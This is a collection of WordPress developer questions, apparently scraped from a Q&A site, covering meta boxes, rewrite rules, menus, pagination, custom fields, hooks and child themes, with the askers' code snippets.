text: I am trying to use the http://www.tinymce.com/ plugin to add a tinymce to my textareas in my meta boxes I have created. I've googled other ways and either I cant get it to work or didnt grasp the concept. SO this is what Im trying now -- I tried creating plugin to add the script to my admin dashboard --               add_action('admin_init', 'admin_load_scripts');      function admin_load_scripts() {          $js_file = plugins_url( '/tinymce/jquery.tinymce.min.js', __FILE__ );           wp_enqueue_script('jquery.tinymce.min', $js_file, array('jquery'));      }      Then I need to call it like so --               <script>             tinymce.init({selector:'textarea'});     </script>      But im not sure how to do this, being that this is for the backend and not the front end. How can I achieve this? **UPDATED** This is my code for the meta boxes. http://pastebin.com/WcC51uA9 I tried the following methods (placing it in functions.php of course), and for the most part they either just didnt work or would show up on the top of the page or on the bottom of the page. They didnt show up on the textarea at all. --- http://pastebin.com/Ct0mF6q7 http://pastebin.com/R6t0ij6h http://pastebin.com/dcczcVby http://pastebin.com/yt1uRS5U


title: Flush Rewrite Rules when new site is created on network

text: I am working with a multisite setup and I have created some custom post types, which seem to work fine except when trying to view any of the post types pages on the front end, I get a white screen. After looking into the issue it seems that flush rewrite rules fixes it. The problem with this is that admins wont have access to the permalinks setting so they cant flush it themselves. I am currently using the following code to flush when activating a theme, but this is not ideal since a user will have to switch to another theme then switch back to the primary theme. So Im trying to find a way to modify the following code to work when a new site is made, thus having the custom post types working from the start. ---               /* Flush rewrite rules for custom post types. */     add_action( 'after_switch_theme', 'bt_flush_rewrite_rules' );          /* Flush your rewrite rules */     function bt_flush_rewrite_rules() {          flush_rewrite_rules();     }      Any help is appreciated, thanks. **UPDATED** I have a main site that users sign up on the front end for a site like such mysite.com/theirsite. The default theme for them is set. Thats where Im trying to place the code so flush rewrite works when they create a site, not switch theme. Admin dashboard is simplified so they dont have access to permalinks or theme -> editor. I would think though that when creating custom post types, it's suppose to flush rewrite, thus not even needing to use the extra code? If it helps this is my register post type code -- http://pastebin.com/XsRjLj3q


title: How to add active class to separate page link?

text: I'm using the Wordpress Bootstrap theme as my base theme. It uses the following code to add the class "active" to any links in the header if the user is currently on that page:               add_filter('nav_menu_css_class', 'add_active_class', 10, 2 );          function add_active_class($classes, $item) {              if($item->menu_item_parent == 0 && in_array('current-menu-item', $classes)) {                  $classes[] = "active";              }              return $classes;          }      However, I have multiple pages that I want to display as "active" when the user is not actually on that specific page. For example, users may sometimes be on "tutorials-by-topic" (Tutorials by Topic) but I want the link titled "Tutorials" to be displayed as the active link. I have four pages I want to do this way. I have tried different conditionals, etc. in the add_active_class function but I've had no luck. Any guidance? Thanks!


title: PODS performance vs custom field

text: is using pods's own content tpye where custom fields are all stored in one table more scalable than custom fields of wordpress where each field is a row in the meta table... I haven't used PODS yet but storing all fields in one table seems more scalable and easier to maintain? what are the disadvantages of PODS (i don't see many people using it)? are the custom fields of pods indexable for the search engine?


title: Make posts_per_page value the same on all pages

text: I'm almost finished with this one, just a small problem left. Hope you can help me. I've got two very simple, custom loops. One for sticky posts, and one for non- sticky. I've manage to get the sticky posts to only show up on page 1, and not on the rest of the pages (when using pagination), which is just what I want. The problem is this: If I use posts_per_page set to 8, and have 1 sticky post in my database, I get 9 posts on the first page, and 8 on the rest of the pages. I've managed to change the posts_per_page value with this script in between the loops:               $postcount = $wp_query->post_count;      $postnumber = 8;      if ( $paged != True ){ $postnumber = $postnumber - $postcount; }      and it almost work. If I have 1 sticky post and post 15-9 on the first page, and then click the next button, WP skips post #8 and only shows 7-1 on the next page. Here is my code:               <!-- Sticky -->     <?php if ( $paged != True ): ?>         <?php $wp_query = new WP_Query(array('post__in' => get_option('sticky_posts'), 'category_name' => Work)); ?>             <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?>                 <?php get_template_part( 'loop', 'index' ); ?>             <?php endwhile; ?>         <?php wp_reset_postdata(); // reset the query ?>     <?php endif ?>          <?php      $postcount = $wp_query->post_count;      $postnumber = 8;      if ( $paged != True ){ $postnumber = $postnumber - $postcount; }     ?>          <!-- Non-Sticky -->     <?php $wp_query = new WP_Query(array('post__not_in' => get_option('sticky_posts'), 'category_name' => Work, 'posts_per_page' => $postnumber, 'paged' => $paged)); ?>         <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?>             <?php get_template_part( 'loop', 'index' ); ?>         <?php endwhile; ?>     <?php wp_reset_postdata(); // reset the query ?>


title: Custom Post Type Meta Box Text Input Field Won't Save When Blank

text:
I have some text fields in a custom post type that I fill in at first, but need to delete on a future update of the post. When I delete the text in the field and save the post, the text I deleted comes back! If I enter a space, it saves OK. Does anybody know how I can fix this? Here are the parts of the code for my custom post type that display and save the field data (didn't post the custom post type init code because it's right from the codex):               function book_info()     {         global $post;         $custom = get_post_custom($post->ID);         $book_title = $custom["book_title"][0];         ... (more field variables) ...         ?>
Book Title:
         <input class="medium" name="book_title" value="<?php echo esc_html($book_title); ?>" />
         ... (more field display blocks) ...         <?php     }           add_action('save_post', 'save_book');     function save_book($post_id)     {         // Verify this came from our screen with proper authorization.         if ( !wp_verify_nonce( $_POST['book_info_noncename'], 'book_info'.$post_id )) {             return $post_id;         }              // Determine whether this is an autosave routine. If so, our form has not been submitted and we don't want to do anything.         if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE )              return $post_id;              // Check permissions         if ( !current_user_can( 'edit_post', $post_id ) )             return $post_id;              // Now that authentication is complete, find and save the data.         $post = get_post($post_id);             if ($post->post_type == 'book') {                       if (isset($_POST["book_title"]) && $_POST["book_title"] <> '') update_post_meta($post->ID, "book_title", $_POST["book_title"]);                 ... (more field save statements) ...                  return($_POST['book']);         }         return $post_id;     }      If I enter text in the "book_title" field and save, it works. If I then delete that text and save, the text is still there when the edit post screen refreshes after clicking save. If I delete that text and replace it with a space character, it saves. I need to be able to delete the text from the field without having to replace it with a space character. Any thoughts on how to accomplish this?


title: Remove /author/ from the author profile url

text: I'm trying to figure out the best way to remove /author/ from the profile URL of my users. I tried using the method in the link below and although it worked, it also prevented me from accessing any of my other pages that used a page template. So not sure if there's a tweak I need to make to the code? I would like to do this through the functions file and not use a plugin so any guidance is much appreciated.               add_action('init', 'cng_author_base');     function cng_author_base() {        global $wp_rewrite;        $author_slug = ''; // change slug name        $wp_rewrite->author_base = $author_slug;     }


title: Change the URL of an image from wp_get_attachment_image_src

text: I call a lot of images with `wp_get_attachment_image_src()` and would like to off load those images to a CDN. Is there a filter to grab the URL and change it?


title: debugging wordpress

text: I noticed that when I'm working on a php page that loads wp programmatically, some of my errors are not fired. For example, a variables that has not initialized previously creates a warning when I have the E_ALL on top, but not when I load wp after that. Any comments? how do I put wordpress in a mode so that anything wrong anywhere is reported.


title: Action hook "wp_insert_post" works but not for last imported post

text: I want to run a custom function whenever posts are imported to my custom post type. I am currently running this code -               function on_post_import($post){       global $wpdb;            $results = $wpdb->get_results(         "SELECT ID FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish'"       );            foreach ($results as $result) {           // run custom function       }            $wpdb->flush();     }     add_action( 'wp_insert_post', 'on_post_import' );      The problem I am facing is that it does not work for last imported post. So if there are 3 posts imported then it works fine for 2 of those posts but not for the 3rd one (last imported). UPDATE: If there is only one post imported the custom function does not work. UPDATE2: Seems like the issue is with my custom function which makes use of get_post_meta() which does not seem to output anything. **UPDATE 3: I am now simply using the wpdb query to run custom function. _I want to avoid it as it will keep running in the background._ If anyone have a better solution then do let me know thanks!**               global $wpdb;            $results = $wpdb->get_results(         "SELECT ID FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish'"       );            foreach ($results as $result) {           // run custom function       }            $wpdb->flush();      What wrong am I doing? Or is there any other way to get my function to work on all imported posts including the last imported?


title: get_post_meta() empty in preview WHEN custom post is published

text: So my client managed to find some (bug?), when custom post is published and he previews post all information what is posted with custom meta boxes is inaccessible. When I started debugging I found that in this case get post meta returns empty. Someone know why system acts this way. And yes, when i look at post not prview all information shows fine. And before posting get_post_meta() works okay. Only in this case where post is pubished and preview is clicked.


title: Is it possible to add a filter for the output of nav-menu items in admin?

text: I want to remove certain input fields on the admin screen for nav-menus for specific menu positions. I've used filters to filter front-end output but not for admin output. Is there a filter available for this purpose? For example, I want to remove the option to add a `title` attribute to menu items, only if the menu is used in 'position-x'. Filters such as `nav_menu_link_attributes` and `wp_nav_menu_args` all seem to be to filter the front end output.


title: Where to put custom PHP files in a child theme?

text: I am customising a premium WP theme to suit my site better, but I can't quite figure out what to do with PHP files that I customise. Do they just go into the root of the child theme folder? Or do they get put into a similar folder hierarchy as in the original theme? How do I make sure the child theme PHP file is being used instead of the parent theme PHP file (e.g. header.php)?